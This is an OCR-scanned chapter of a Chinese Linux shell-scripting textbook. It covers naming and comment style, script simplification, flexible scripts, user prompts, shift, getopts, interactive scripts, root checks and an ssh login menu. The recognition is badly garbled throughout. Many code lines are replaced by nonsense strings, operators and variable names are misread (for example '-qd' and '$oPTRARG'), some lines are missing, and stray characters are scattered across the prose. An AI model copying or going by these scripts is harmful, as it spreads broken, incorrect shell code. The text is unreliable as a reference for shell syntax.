array_sort0 函 数 ， 从 字面 上 就 可 以 看 出 ， 该 函数 用 于 对 数字 进行 排序 。 
@ 对 于 简单 的 函数 , 可 以 直接 用 操作 名 作为 函数 名 , 但 要 注意 不 要 和 系统 的 命令 相同 ， 

























































































否则 容易 造成 不 必要 的 错误 ， 如 address0， 对 该 函数 进行 操作 。 

对 于 变量 来 说 ， 一 般 是 通过 匈牙利 命名 法 进行 命名 : 

@ ”对 于 单个 英文 单词 就 可 命名 的 ， 可 直接 用 该 单词 进行 命名 ， 如 变量 average 可 用 
对 变量 “平均 数 ” 进 行 命名 。 

@ ”对 于 单个 单词 无 法 命名 的 单词 ， 可 通过 双 单 词 或 多 






























































如 : dir_ num 可 以 用 于 命名 变量 “目录 个 数 ”。 
对 于 常量 习 
@ ”对 于 单个 单词 可 以 命名 的 ， 可 直接 使 
TOTAL 可 对 常量 “总 数 ” 进 行 命名 。 





































































































说 ， 可 通过 将 该 变量 全 部 设置 为 大 写 与 变量 形成 区 别 ， 下 面 是 
和 该 单词 的 全 部 大 写 形式 进行 命 























词 形式 的 缩 略 词 来 进行 命名 ， 





Fa 
由 
于 
合 
Ey 
yd 
此 





@ ”对 于 单个 单词 无 法 表达 清晰 的 常数 的 ， 可 通过 加 下 面 线 的 形式 对 其 进行 命名 ， 如 : 















































常数 GLOBAL CON 可 对 常量 


注释 风格 
代码 中 的 注 尝 是 必需 TT 的 ， 


“全 局 常量 ”进行 命名 。 




















号 完 脚 本 一 段 时 间 后 ， 就 容 


要 有 /个 度 。 


否则 编 












































人 


态 记 该 脚本 的 用 途 ， 但 
注释 应 该 放 在 命令 使 用 
函数 的 注释 也 应 该 放 在 函 























建议 注释 与 变量 处 于 同一 行 ， 使 结构 更 紧凑 。 
变量 使 用 、 返 回 值 等 进行 简单 的 描述 。 
好 的 Linux 脚本 的 例子 。 在 该 例 中 ， 
用 途 ， 接 着 声明 了 一 















































要 对 函数 功能 、 
个 编程 风格 









































例 15-4 是 





























个 退出 











首先 注释 了 脚本 名 称 ， 其 











出 状态 值 65， 用 

















除 的 目录 。 脚 本 中 存在 函数 时 ， 首 先 指 






































| 








值 ， 最 后 声 








明 函 数 并 编写 



































行 的 用 途 ， 以 便 以 后 查看 肢 




















中 ， 由 于 篇 幅 原 因 ， 没 有 严格 按照 该 编程 风格 对 脚本 进行 编写 。 




















# 例 15-4: 一 个 编程 风格 良好 的 Linux Shell 脚本 
He 





非洲 业 类 类 类 炎炎 类 类 类 类 类 类 类 类 类 类 类 类 类 大 大 大 类 大 类 大 大 大 大 大 大 大 大 大 大 大 大 大 大 大 大 大 大 大 大 大 大 ## 





本 时 能 及 时 了 解 脚本 的 用 途 。 在 本 书 





# Wn en en ey en # 
# written by Wang Youquan # 
# Mar el O00 # 

# # 
# 删除 指定 目录 下 的 所 有 文件 # 


非洲 炎炎 火炎 火炎 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 大 类 类 类 类 大 类 类 类 类 类 类 大 大 大 # 


No_DIR=65 
rm dir=/home/wyq/shell/rmdir 


# cleanup pfiles 
# 删除 指定 























孙 电 的 让 有 文件 5 


() 





全 清 还 见 


HQYJ.CO 


M 


# 没有 这 个 目录 时 的 返回 值 
# 想 要 清除 的 目录 . 
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# Parameter: $target directory # 
# 返回 值 : 0 表示 成 功 ， 失 败 返 回 $E BADDIR. #4 





























TS GEGE () 
{ 








if [ ! -qd "$l" ] # 判断 要 删除 的 目录 是 否 存在 
then 
Se noc de eto 
return $ No_ DIR 
全 

















# 删除 文件 
rm -f pa 








# 删 除 成 功 时 返回 退出 状 


return 0 





By 





} 








# 调 用 函数 进行 文件 删除 
dfilendelete rmdie 








exit 0 


脚本 优化 人 


本 节 主 要 提供 如 何 对 Linux Shell 编程 人 员 编 写 的 脚本 进行 优化 ,包括 如 何 简化 脚本 、 如 
何 尽 可 能 保持 脚本 的 灵活 性 = 如 何 编 写 干净 的 脚本 以 及 在 脚本 内 编写 注释 。 


15.2.1 简化 脚本 


Linux Shell 编程 人 员 在 学 习 编 写 Shell 脚本 时 ， 和 常常 遇 到 的 一 个 问题 就 是 重复 编写 他 们 
在 该 脚本 中 已 经 编写 过 的 代码 。 其 实 不 需要 重复 编写 这 些 代 码 ， 只 需 创 建 一 个 函数 或 通过 其 
他 方式 来 处 理 这 些 重复 部 分 。 

列 15-5 的 脚本 file_can execute_or_notl.sh 中 的 代码 明显 有 重复 的 地 方 ， 可 以 通过 for 循 
环 和 逻辑 操作 符 来 简化 该 脚本 。 该 例 中 的 脚本 file_can_execute_or_notl.sh 用 于 判断 用 户 输入 
的 两 个 文件 是 否 可 执行 。 

例 15-5: 一 个 复杂 但 可 简化 的 程序 


file can execute or not1.sh: 判断 键盘 输入 的 两 个 文件 是 否 可 执行 
/oa 






























































































































































判断 输入 的 参数 个 数 是 否 为 两 个 
| 

then 

echo "The num of parameter is not right! ™ 


ext 0 
EE 
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# 判 断 用 户 输 入 的 第 一 个 文件 是 否 可 读 
EE 
then 

echo “Unable to find the file $1"™ 
;i 
# 判 断 用 户 输入 的 第 一 个 文件 是 否 可 执行 
| 
then 

Se unenle to ree chem sy 
else 


Sehoy mie ene ene exeeutea 





下 
判断 用 户 输入 的 第 二 个 文件 是 否 可 读 
TEA2 
then 
echo “Unable to find the file $2 !™ 
于 二 








# 判 断 用 户 输入 的 第 二 个 文件 是 否 可 执行 
E22] 
then 

echo "Unable to execute the file $2 
else 

echo ™ The file $2 can be executed! 
1 














脚本 file can execute or notl.sh 的 执行 结果 为 : 


例 15-5 中 file can execute or not1l.sh 脚本 的 执行 结果 


m 





Ee 


Unable 
Unable 


root@l1 


SG 


ISOIEIGIE 





root@l1 


The num of 


to execute the file 


ocal 
Ee 


ocalhost chapter 


ocal 


lhost chapter 


file can e 


本 
下 已 


ES 


Seen 





parameter is 
host chapter 


忆 


s 


./file can execute or notl.sh 





moe nol 


./file can execute or notl.sh filel file2 
filel ! 





to execute the file file2 |! 


ocal 


host chapter 











该 脚本 有 两 














or_not2.sh 就 是 对 例 15-5 进行 简 


有 的 内 容 。 








加 









































段 重 复 验 证 文件 是 否 存在 与 可 执行 的 代码 ， 这 样 使 得 该 代码 显得 很 糟糕 ， 为 
了 便于 阅读 和 使 代码 简洁 ， 





| 








| 对 该 段 代码 进行 

















化 的 代码 , 可 以 看 出 例 15-6 乱 





少 的 代码 就 赛 括 了 例 15-5 




















# 例 15-6: 对 例 15-5 嘻 











的 代码 进行 简化 





#file can execute or not2 .sh 








#!/bin/bash 


# 判 断 输 入 的 参数 个 数 是 
D2] 
then 
echo “The num of parame 
exit 0 


和 否 为 两 个 


i 


HQYJ 


nN 
A 
YY 
pd 
> 


ee en 
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二 
| 
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# 使 用 for 循环 判断 输入 的 文件 是 否 执行 


for fname in "$e 


do 
TE EPEnamen a Sreenamernl 
then 
echo "The file $fname can be executed! " 
Sli [1 se wnamer 1 
then 
SemeguuneDle on Enna me em Penanmem 
else 
echo "Unable to execute the file $fname 1 
Ee 
done 


却 本 file can execute or not2.sh 的 执行 结果 同样 为 : 


例 15-6 中 file can execute or not2.sh 脚本 的 执行 结果 
root@localhost chapter15 es 
filel file2 file can execute or notl.sh file can execute or not2 .sh 




















tuleeanlexeeuee or noe2 sh 
The num of parameter is not right! 


root@localhost chapterl15 
南 

neonloealhnest ehapeerml ./file can execute or not2.sh filel.sh file2.sh 
下 
到 








Unable to find the file filel.sh ! 


Unable to find the file 
root@localhost chapter15 


由 执行 结果 可 以 看 出 ， 这 两 个 脚本 的 执行 结果 相同 ;但 脚本 file_ can execute_ or not2.sh 
简洁 了 很 多 。 


15.2.2 保持 脚本 的 灵活 性 


Shell 脚本 编程 的 新 手 常常 犯 的 男 一 个 错误 是 在 程序 或 Shell 脚本 中 对 静态 值 进 行 硬 编 
码 ， 从 而 限制 了 脚本 的 灵活 性 。 这 是 一 种 糟糕 的 编程 习惯 。 这 不 得 不 迫使 其 他 开发 人 员 修 改 
脚本 以 使 用 其 他 值 。 为 了 避免 这 个 问题 ， 应 该 使 用 变量 ， 并 为 脚本 或 函数 提供 参数 。 例 15-7 
是 一 个 编写 很 差 的 脚本 ， 该 脚本 用 于 查询 文件 是 否 存在 。 

例 15-7: 一 个 不 灵活 的 脚本 例子 


Eme ws morn ls i 
!/bin/bash 


Lleol! 
























































































































































a 


















































判断 已 知 目录 下 的 指定 文件 是 否 存在 
































if [ -f /home/wyq/shell/file can execute or not2.sh ] 
then 

eehe A Eo ina nine me nom ye :nem ee neuEedornneor2 ne 
elif [ -f /home/wyq/shell /chapter15/ file can execute or not2.sh ] 
then 

echo "Able to find The file /home/wyq/shell / chapter15/ file can execute or not2.sh !" 
else 


echo "Unable to find the file file can execute or not2.sh ! " 





该 脚本 的 执行 结果 为 : 
# 例 15-7 中 file exist or not1.sh 脚本 的 执行 结果 


Leooeene nes en /eS 
lemeomeindm mine le hon ne en or no 




















a 
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root@localhost chapterl5]# 











该 脚本 代码 很 少 ， 比 较 容易 修改 (如果 代码 很 长 ， 时 间 久 了 就 容易 遗 态 该 脚本 的 功能 





























































































































月 E， 
从 而 需要 逐 行 阅读 它 。)。 ee ph op tg en does le 这 极 大 地 限 
制 了 程序 的 灵活 性 ， 下 面 的 例 15-8 提供 相同 的 功能 , 但 是 可 以 通过 命令 行 输入 查询 任何 目录 
下 的 文件 。 
例 15-8: 一 个 灵活 的 脚本 例子 
Ennlieexlsts or noe sh 
!/bin/bash 
提示 用 户 输 入 目录 名 
eeno please nput tne reetory namee, 
read dname 
# 判 断 第 一 个 输入 的 参数 是 否 为 目录 名 
if [ ! -d $dname ] 
then 
seeneo Unaele to neadeor Frm tneradrreetory 
下 下 
# 提 示 用 户 输入 文件 名 
echo "Please input the file name: ™ 
read fname 
# 判 断 文件 是 否 存在 
if [ -f "$dname/$fname" ] 
then 
echo "Able to find the file $dname/$Ename™ 
else 
echo "Unable find the file $dname/$fname" 
富 
脚本 fle_exist_or_not2.sh 的 执行 结果 为 : 
# 例 15-8 中 file exist or not2.sh 脚本 的 执行 结果 
eotoreealneos tena teers Eee so not sn 
Please input the directory name: 
/home/wyq/shell/chapter15 
Please input the file name: 
file can execute or not2.sh 
Able to find the file /home/wyq/shell/chapterl5/file can execute or not2.sh 
[root@localhost chapterl5]# 
日 一 
15.2.3 ”给 用 户 足够 的 提示 
由 于 我 们 编写 的 脚本 有 时 会 提供 给 其 他 用 户 使 用 ， 因 此 ， 在 编写 有 参数 输入 的 脚本 时 ， 








要 特别 注意 给 用 户 足 够 的 提示 ， 提 示 用 户 需 要 输入 的 参数 是 什么 ， 同 时 提供 参数 个 数 和 参数 














类 型 判断 ， 否 则 用 户 不 了 解 脚本 中 设置 的 参数 信息 ， 束 可 能 无 法 完成 该 脚本 的 执行 。 






































输入 几 个 参数 以 及 每 个 参数 的 类 型 ， 新 建 脚本 login1.sh， 脚 本 内 容 如 1 
# 例 15-9: 一 个 有 参数 但 无 提示 说 明 的 脚本 
#1login1.sh: 用 户 登 录 ， 判 断 用 户 输入 的 用 户 名 和 密码 是 否 错误 
#!/bin/bash 


7 


















































例 15-9 的 脚本 login1.sh 中 是 一 个 需要 输入 参数 的 脚本 ， 但 该 脚本 中 没有 明确 提示 用 户 
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Tor (i 7 
do 

read username 

read password 


if test "$username" = "user" -a "$password" = "pwd" 
then 
echo "login success" 
flag=1; 
break; 
il 
done 














却 本 login1.sh 无 提示 用 户 需 要 输入 的 信息 , 如 果 用 户 未 看 过 脚本 内 容 , 直接 运行 该 脚本 ， 

脚本 的 执行 结果 如 下 : 

例 15-9 中 1loginl.sh 脚本 的 执行 结果 

root@jselab chapter16]# ./loginl.sh 

脚本 无 法 退出 ， 使 用 Ctrl+tc 退出 

SG 
区 














oot@jselab chapterl16]# 
这 时 用 户 就 不 知道 应 该 如 何 运 行 该 脚本 ， 如 果 我 们 加 上 必要 的 提示 ， 将 会 使 用 户 很 容易 
就 了 解 脚本 的 内 容 ， 并 执行 正确 的 结果 。 下 面 的 例 .15-10 的 脚本 login2.sh 就 是 在 例 15-9 的 脚 
本 login1.sh 的 基础 上 加 上 必要 的 提示 ， 使 脚本 执行 清晰 明了 。 

例 15-10: 一 个 有 参数 且 有 提示 说 明 的 脚本 


login2.sh: 用 户 登 录 ， 判 断 用 户 输入 的 用 户 名 和 密码 是 否 正确 
!/bin/bash 
















































































flag=0; 


# 提 示 该 脚本 的 用 途 


echo "This script is used to username and password what you input is right or wrong. " 


#Eo 循环 用 于 提示 用 户 输入 用 户 名 和 密码 ， 并 判断 正 误 
OE 
do 


sehne rm Pleasey neu vo nansee 





如 


read username 


echo -n "Please input your password: " 
read password 


if test "$username" = "user" -a "$password" = "pwd" 
then 
echo "Login success" 
flag=1 
break 
else 
echo "The username or password is wrong. Try again! ™ 
Es 
done 


# 三 次 输入 不 正确 ， 提 示 用 户 退 出 脚本 
a [ Wl ae -eq "Oo" ] 
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then 
echo “You have tried 3 times. Login faill!™ 
中 浊 
脚本 login2.sh 的 执行 结果 为 : 
侈 15-10 中 login2 .sh 脚本 的 执行 结果 
root@localhost chapter15]# ./login2.sh 
This script is used to username and password what you input is right or wrong. 





Please input your name: wydq 
Please input your password: 123 
The username or password is wrong! 
Please input your name: user 
Please input your password: pwd 
Login success 

root@localhost chapterl5]# 


脚本 login2.sh 主要 是 登录 一 个 用 户 ， 然 后 判断 用 户 名 和 密码 是 否 匹 配 ， 如 果 匹 配 ， 就 显 
示 “Login success”， 和 否则 显示 “The username or password is wrong. Try again!”。 直 到 三 次 后 
就 输出 “You have tried 3 times. Login faill ”。 


Linux 中 的 特殊 命 全 | 


有 很 多 命令 在 Linux Shell 编程 过 程 中 非常 有 用 ， 如 shift 命令 可 用 于 脚本 传递 时 的 参数 
偏 移 ，getopts 用 于 形成 命令 行 的 标准 形式 。 本 节 主 要 介绍 shift 和 getopts 两 个 命令 的 用 法 。 
















































































15.3.1 shift 命 合 


第 14 章 例 14-16 的 combine_array.sh 脚本 曾经 使 用 到 了 shift 命令 , 在 脚本 注解 中 也 进行 
单 说 明 ， 本 节 深 入 探讨 shift 命令 的 用 法 。 

shift 命令 主要 用 于 向 脚本 传递 参数 时 的 每 一 位 参数 偏 移 ， 其 中 ， 每 次 将 参数 位 置 向 左 偏 
移 一 位 。 下 面 通过 一 个 简单 例子 说 明 shift 命令 的 用 法 。 在 例 15-11 中 ， 脚 本 no_shift.sh 未 使 
用 shift 命令 。 


例 15-11: 一 个 未 使 用 shift 命令 的 例子 
有 本 SS 
!/pin/bash 
































了 简 













































































提示 用 户 输入 参数 个 数 


eeno nmeern or onenesns pt 














提示 用 户 输 入 内 容 


eehon what vom rneouto ns: 











通过 命令 行 来 传递 脚本 for 循环 列表 参数 


woe | 辣 
do 

echo "$I" 
done 





脚本 no_shift.sh 的 执行 结果 为 : 
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# 例 15-11 中 no_shift.sh 脚本 的 执行 结果 

lzeoellocalneosse cma lo) /no anticen nells werla 
Number of arguments is 2 

WE woh ison is 

JE 

eae 


el 
[root@localhost chapterl5]# 


却 本 no_shift.sh 尝试 通过 不 使 用 shift 命令 来 实现 输出 所 有 的 命令 和 rs 但 由 于 无 shift 
偏 移 命令 ， 而 一 直 执行 第 一 个 命令 行 参数 循环 下 去 ， 形 成 一 个 死 循 环 ， 通过 “CtrlHC” 
组 合 键 强制 性 结束 该 脚本 的 执行 。 

网 15-12 中 use_shift.sh 脚本 则 使 用 shift 命令 对 例 15-11 中 的 脚本 进行 修改 , 修改 后 的 脚 
本 为 : 















































例 15-12: 一 个 使 用 shift 命令 对 例 15-11 中 的 脚本 进行 改动 
Use Sn esi 
!/bin/bash 








提示 用 户 输入 参数 个 数 


Semios ofaraUunenmnes Te $i 














提示 用 户 输入 内 容 
Sone Moe wew nave Te 











通过 命令 行 传递 脚本 for 循环 列表 参数 


wa ew wp) 
do 

echo "$I 

名 One 
done 


脚本 use_shift.sh 的 执行 结果 为 : 

# 例 15-12 中 use shift.sh 脚本 的 执行 结果 

[rootQalocalnost enaeter ol /uselshiftt sh ne world 
number of arguments is 2 





Wave 

hello 

world 

[root@localhost chapterl5]# 


可 以 看 出 ， 脚 本 use_shift.sh 使 用 shift 命令 后 ， 准 确 地 显示 了 所 有 的 命令 行 参数 。 所 有 
shift 命令 的 实现 方式 是 :脚本 将 第 一 个 命令 行 参数 纳入 脚本 执行 ， 接 着 执行 第 二 个 命令 行 ， 
直至 完成 所 有 的 命令 行 。 

下 面 举 一 个 稍微 复杂 点 的 例子 ， 例 15-13 中 的 脚本 shift_examl.sh 用 于 回 显 命令 行 参 数 ， 
并 且 每 次 回 显 命令 行 参数 都 会 减 去 最 左边 的 变量 ， 以 显示 一 个 倒 三 角形 。 

# 例 15-13: 回 显 命令 行 参 数 ， 并 形成 一 个 至 多 3 行 参数 命令 组 成 的 倒 三 角形 


# shift examl .sh 
#!/bin/bash 





























































































































# 判 断 输入 的 参数 是 否 小 于 三 个 ， 如 果 小 于 
1 WS -gt 3 ] 
then 
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echo "The parameter is higher than 3! " 
exit 1 


# 判 断 第 二 个 参数 是 否 为 定 ， 不 为 空 则 命令 行 参数 先 偏 移 一 位 ， 执 行 第 二 个 参数 
] 


Senos 





# 由 于 第 二 个 参数 判断 过 不 为 空 时 ， 执 行 了 上 面 的 i£ 语句 ， 参 数 已 经 偏 移 到 第 二 个 参数 ， 该 ifE 语句 
# 则 相当 于 判断 第 三 个 参数 是 否 为 宝 ， 不 为 空 则 显示 第 三 个 参数 

EE $2 

then 

[二 

echo $* 





























i 


脚本 shift_examl.sh 限制 了 参数 至 多 为 三 个 ， 减 少 了 站 语句 要 检查 的 行 数 。 虽 然 该 脚本 









































比较 混乱 ， 但 该 脚本 很 好 地 完成 了 输出 脚本 的 任务 ， 当 命令 行 参数 超过 了 三 个 变量 数 ， 
得 到 警告 ， 且 脚本 退出 。 如 果 变 量 数 为 三 或 更 少 ， 则 脚本 执行 倒 三 角 显 示 各 参数 。 
例 15-13 中 shift examl.sh 脚本 的 执行 结果 
rooloealneoee haEerlsl -envi exenl-en 21 
S21 
el 
eoeoleeclhnesee enapteenals Seteraml sh 2 1 
2 
eoeoleeclhnesee enapeerls Ash texaml en 
rooueleealhnesee cenapeesl ET 
The parameter is higher than 3! 
rootelocalnost enadterls 


















































脚本 shift_ examl.sh 中 有 几 行 代码 是 重复 的 且 最 多 只 能 显示 三 行 7 
































下 面 的 例 15-14 的 脚本 shift exam2.sh 是 通过 while 循环 不 限制 命令 行 参数 的 个 数 ， 脚 本 
忆 少 了 很 多 。 











# 例 15-14: 回 显 命令 行 参数 ， 并 形成 一 个 不 限制 行 参数 命令 组 成 的 倒 三 角形 
# 0 
#!/bin/bash 






































# 用 while 实现 一 个 不 限制 行 参数 命令 组 成 的 倒 三 角形 
while [ "“$#" -gt 0 ] 
do 
echo $* 
Sn 
done 


脚本 shift_exam2.sh 的 执行 结果 为 : 
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# 例 15-14 中 shift exam2 .sh 脚本 的 执行 结果 
际 seeuheeshnese NS 证 = 直人 2 
98 7969 到 4 二 下 和 二 二 

27 6 5 4 3921 

0 5 4 2 

5959014930920 

Sl 

4032 

S20 

2 

下 


[root@localhost chapterl5]# 
可 以 看 出 ， 使 用 while 循环 后 ， 脚 本 的 效率 高 了 很 多 ， 而 且 使 用 shift 命令 实现 了 双 层 循 
环 才 能 实现 的 功能 。 














15.3.2 ”getopts 命 全 


Linux Shell 中 提供 了 一 条 获取 和 处 理 命令 行 选项 的 getopts 语句 ， 该 语句 可 以 编写 脚本 ， 
使 控制 多 个 命令 行 参数 更 加 容易 。 该 语句 的 格式 为 : 

egeteepeyorereonen seule 

在 该 命令 行 的 option_str 中 包含 一 个 有 效 的 单字 符 选 项 。 若 getopts 命令 在 命令 行 中 发 现 
了 连 字 符 ， 那 么 该 命令 将 用 连 字 符 后 面 的 字符 与 option_str 相 比 较 。 若 匹配 成 功 ， 则 把 变量 
variable 的 值 设 为 该 选项 ， 若 匹配 不 成 功 ， 则 ivariable 设 为 “?”。 当 getopts 发 现 连 字符 后 面 
没有 字符 后 ,会 返回 一 个 非 零 的 状态 值 。Shell 程序 中 能 利用 getopts 的 返回 值 建立 一 个 循环 。 

下 面 通过 一 个 例子 了 解 getopts 的 用 法 ,在 例 15-15 中 ， 脚 本 getopts_exam1.sh 用 于 完成 
单字 符 选项 的 选择 ， 该 脚本 内 容 如 下 : 
例 15-15: 一 个 关于 getopts 的 例子 


getopes era sh 
!/bin/bash 





















































































































































当 输 入 的 连 字符 不 为 “-a” 或 “-b” 时 执行 该 函数 


Fme() 








Sehneol aseneme $0 Tom oar > 
exit 0 











使 用 getopts 完成 连 字 符 选 择 
wh etoptes access 





do 
case $options in 
a) 
echo "You enter -a as an option." 
b) 
seheol vomentes Das on ootlione, 
NB 
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exam2.sh 不 仅 执行 脚本 getopts 的 命令 行 选项 ， 同 时 通过 shift 命令 去 判断 第 二 个 参数 ， 然 后 


的 字符 进行 比较 。 
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echo "No argument value for option $oPTRARG" 


esac 
done 


脚本 getopts_examl.sh 的 执行 结果 为 : 
# 例 15-15 中 getopts _ examl .sh 的 执行 结果 
[root@localhost chapter15]# ./getopts examl.sh =a =C 
You enter -a as an option. 








basename ./getopts examl.sh =[a b] args. 
[root@localhost chapterl5]# 











根据 上 面 脚本 getopts_examl.sh 的 执行 结果 ， 可 以 看 出 getopts 要 对 命令 行 所 给 出 的 选项 


进行 分 析 ， 分 析 过 程 为 : 





(D getopts 选项 检查 所 有 的 命令 行 参数 ， 找 到 以 “-” 字 符 开头 的 字符 。 
@ 当 找 到 以 “-” 字 符 开 头 的 参数 后 ， 将 跟 在 “-” 字 符 后 的 字符 与 在 




















“option-str” 中 给 


多 若 找 到 匹配 ， 指 定 的 变量 variable 被 设置 成 选项 ， 和 否则 ，variable 被 设置 成 “? ”字符 。 





由 重复 步骤 四 一 鲜 ， 直 到 考虑 完 所 有 的 选项 。 
@@ 当 分 析 结 束 后 ，getopts 返回 非 零 值 并 退出 。 
下 面 举 一 个 复杂 点 的 例子 进一步 解释 getopts 的 用 法 ， 在 例 15-16 = 













































































执行 不 同 的 操作 。 


# 例 15-16: 一 个 复杂 点 的 getopts 的 例子 
#getopts _ exam2 . Sh 
#!/bin/bash 


# 判 断 用 户 输入 的 第 一 个 命令 行 参数 是 什么 
while getopts "fh:" optname 


do 
case "$optname" in 
EE) 
senoNr'onionn oename i see nina 
Un) 
echo "Option $optname has value $0OPTARG" 
多 
echo "Unknown option $ OPTARG " 
3 
echo "No parameter Value for option $oPTRARG" 
) 
echo "Unknown error while processing options" 
esac 
done 


# 命 令 行 参数 先 做 偏 移 一 位 ， 相 当 于 命令 行 参 数 指针 转 到 第 二 个 参数 
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shift $(($oPTIND = 1)) 


# 执 行 第 二 个 命令 行 参数 的 对 应 命令 
EECNES Tn Ve 











do 
E20 
then 
ET 
else 
ER 
人 
Qone 
列 15-16 中 脚本 getopts_exam2.sh 的 执行 结果 为 : 
例 15-16 中 getopts exam2.sh 脚本 的 执行 结果 


root@localhost chapterl5]# ./getopts exam2.sh = 上 filel 
Option f is specified 
Emom ene en Enel 
root@localhost chapterl5]# ./getopts exam2.sh -hh help 
Option h has value help 
root@localhost chapterl5]# 


通过 脚本 getopts_exam2.sh 的 执行 结果 可 以 看 出 ， 该 脚本 在 执行 时 可 以 有 两 种 选择 ， 一 种 
是 “-f”， 一 种 是 “-h” 的 命令 执行 形式 ， 其 中 ,“./getopts_exam2.sh -ffilel1” 用 于 判断 输入 的 第 


二 个 命令 行 参数 是 和 否 为 文件 ， 而 “./getopts_exam2.sh -h help” 用 于 表示 “-h” 的 含义 是 “help”。 


交互 式 和 非 交 互 式 Shell 脚本 人 


















































交互 式 模 式 就 是 Shell 等 待 用 户 的 和 输入， 并且 执行 用 户 提 交 的 命令 。 这 种 模式 被 称 为 交 
互 式 ， 是 因为 Shell 与 用 户 进行 交互 ， 该 模式 也 是 大 多 数 用 户 非常 熟悉 的 : 登录、 执行 一 些 
命令 、 倒 退 。 当 用 户 登 录 成 功 后 ，Shell 脚本 也 终止 了 。Shell 也 可 以 运行 在 另外 一 种 模式 : 
非 交 互 式 模式 ， 在 这 种 模式 下 ，Shell 不 与 用 户 进 行 交 互 ， 而 是 读 取 存 放 在 文件 中 的 命令 ， 并 
执行 它们 。 当 它 读 到 文件 的 结尾 时 ，Shell 就 终止。 

下 面 的 内 容 将 分 别 介绍 交互 式 Shell 脚本 和 非 交 互 式 脚本 的 用 法 。 


15.4.1 ， 非 交互 式 Shell 脚本 


Linux Shell 中 许多 管理 和 系统 维护 脚本 都 是 非 交 互 式 的 ， 而 且 非 多 变 的 重复 性 任务 也 可 
以 由 非 交 互 式 脚本 完成 ， 由 非 交 互 式 Shell 脚本 完成 的 脚本 通常 是 运行 脚本 中 的 命令 ， 而 不 
需要 用 户 干预 脚本 的 执行 结果 和 执行 方式 。 

下 面 通 过 一 个 例子 说 明 非 交互 式 Shell 脚本 .下 面 的 例 15-17 中 的 no_interaction scriptl.sh 
是 一 个 简单 的 非 交 互 式 的 脚本 ， 该 脚本 可 三 秒 钟 退 出 脚本 运行 。 

# 例 15-17: 一 个 非 交 互 性 脚本 的 例子 


nominternaet len er 
#!/bin/bash 
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# 提 示 用 户 该 脚本 3 秒 后 退出 


eenmen rnlis Secret we ES 二 ES=SEConas 





# 计 时 3 秒 
sleep 1 
Semen 
sleep 1 
olore oY 
sleep 
(reloreD 





提示 用 户 退 出 脚本 

sehom aAfeerenseeonder tcsnser uper ove 

下 面 是 脚本 no_interaction_ script1.sh 的 执行 结果 为 : 

例 15-17 中 no interaction scriptl.sh 脚本 的 执行 结果 
rootQlecaulhe st ehonter lo /nmeeroctr onsere 








De 


ARESEESSCCOS Chm sernt oeEss 
root@localhost chapterl5]# 


可 以 看 出 ， 脚 本 no_interaction scriptl.sh 在 运行 过 程 











Lsm 





脚本 的 运行 。 











无 须 用 户 参与 ， 就 能 很 好 地 完成 





在 Linux 终端 下 使 用 su 命令 后 , 会 提示 用 户 输入 root 用 户 密 码 ， 正 确 后 可 获得 管理 员 权 





























限 。 如 果 在 脚本 中 需要 获得 管理 员 权限 ,为 了 增加 脚本 的 安全 性 ,一 般 不 能 通过 su 命令 和 在 
脚本 中 设置 root 密码 切换 到 root 用 户 ， 所 以 ， 需 要 用 脚本 来 提示 用 户 必须 是 root， 否 则 提示 























pa 











当前 用 户 无 法 执行 该 脚本 ，1 





EGGE sn 
ln le 


设置 退出 状态 为 5 


exitcode=5 





设置 退出 时 的 提示 


message="Sorry, you are not root..exiting" 











判断 当前 用 户 是 否 是 root 
if [ $UID -ne 0 ] 

then 

echo "$message™" >&2 





exit $exitcode 
EE 


如 果 是 root 用 户 将 执行 下 面 的 脚本 内 容 


echo "If the user is root, will execute this row. " 





Seruy Sne 
脚本 的 root_or not.sh 的 执行 结果 为 : 


例 15-18 中 root or not.sh 脚本 的 执行 结果 
rootQleealhe se cenapter lo ro mor ns 














f the user is root, will execute this row. 























面 的 例 15:18 中 的 脚本 root_or_not.sh 实现 了 该 功能 。 
例 15-18: 判断 执行 脚本 的 用 户 是 否 是 foot， 若 不 是 ， 则 不 执行 脚本 的 








TT 





他 内 容 
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root@localhost chapterl5]# su wyd 
wydq@localhost chapter15]$ ./root or not.sh 
Seormyv vou are no ro 
wyq@localhost chapter1l5]$ echo $2? 

瑟 


wyaeloealnos na ns 
可 以 看 出 ， 当 用 户 是 root 时 ， 显 示 的 结果 为 “Ifthe user is root, will execute this row.”， 而 当 
用 户 不 是 root 时 , 执行 的 结果 为 “Sorry, you are not root..exiting” 且 退出 状态 为 在 脚本 中 设置 的 5。 


15.4.2 ”交互 式 Shell 脚本 


Shell 是 一 个 交互 性 命令 解释 器 ， 它 独立 于 操作 系统 。 这 种 设计 让 用 户 可 以 灵活 地 选择 
适合 自己 的 Shell。Shell 让 你 在 命令 行 键 入 命令 ， 经 过 Shell 解释 后 传送 给 操作 系统 《内 核 ) 
执行 。 同 时 ，Shell 脚本 同样 也 可 以 通过 交互 来 执行 。 

前 面 已 经 介绍 了 很 多 交互 式 Shell 脚本 ,这 里 仅 通过 一 个 例子 来 说 明 交 互 式 Shell 的 用 法 。 
例 15-19 中 的 脚本 ip_login.sh 为 用 户 列 出 三 个 人 P 地 址 ， 让 用 户 从 中 选择 一 个 ， 然 后 根据 选择 
登录 到 不 同 的 卫 地 址 。 

例 15-19: 一 个 交互 式 Shel1l 脚本 的 例子 


Do es un se 
!/bin/bash 














pd 




















































































































建立 由 三 个 元 素 组 成 的 IP 地 址 数组 
ipadarnrrays( [0l= "192.158.158.128" [1]= "192.158.158.129" [2]s “199.158.158.130")) 

















该 函数 用 户 对 命令 行 输 入 的 IP 地 址 进行 判断 
Tan hom 











# 将 命令 行 输 入 的 IP 地 址 赋 初 值 给 变量 remoteIpAdqdr 
remoteIpAddr=$1 





# 判 断 读 取 的 远程 IP 地 址 是 否 为 空 
ne el 
then 

# 初 始 化 循环 变量 

i=0 


# 判 断 输 入 的 IP 地 址 是 否 和 数组 中 的 IP 地 址 中 的 一 个 匹配 
while (( i < ${#ipAddrArray[*]} )) 












































do 
| 
then 
recurn no # 输 入 了 数组 中 的 IP 地 址 
££ 二 
# 循 环 变 量 自 增 
let 3 i 二 + 十 " 
done 
return 1 # 输 入 的 IP 地 址 不 在 数组 内 
else 
ea 工 # 输 入 IP 地 址 为 空 
ALs 老 j= D1 华 清 远见 教育 集团 官网 :www. hqyj. com 
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EE 
} 


# 提 示 用 户 命 令 行 输入 IP 地 址 
echo "Please input the IP address." 
read ipAddr 


# 调 用 函数 ip_ right or _ not， 判断 输入 的 命令 行 参 数 是 否 正确 
站 
then 
WE 
ssh web@$ ipAddr  # 远 程 登录 IP 地 址 
else 
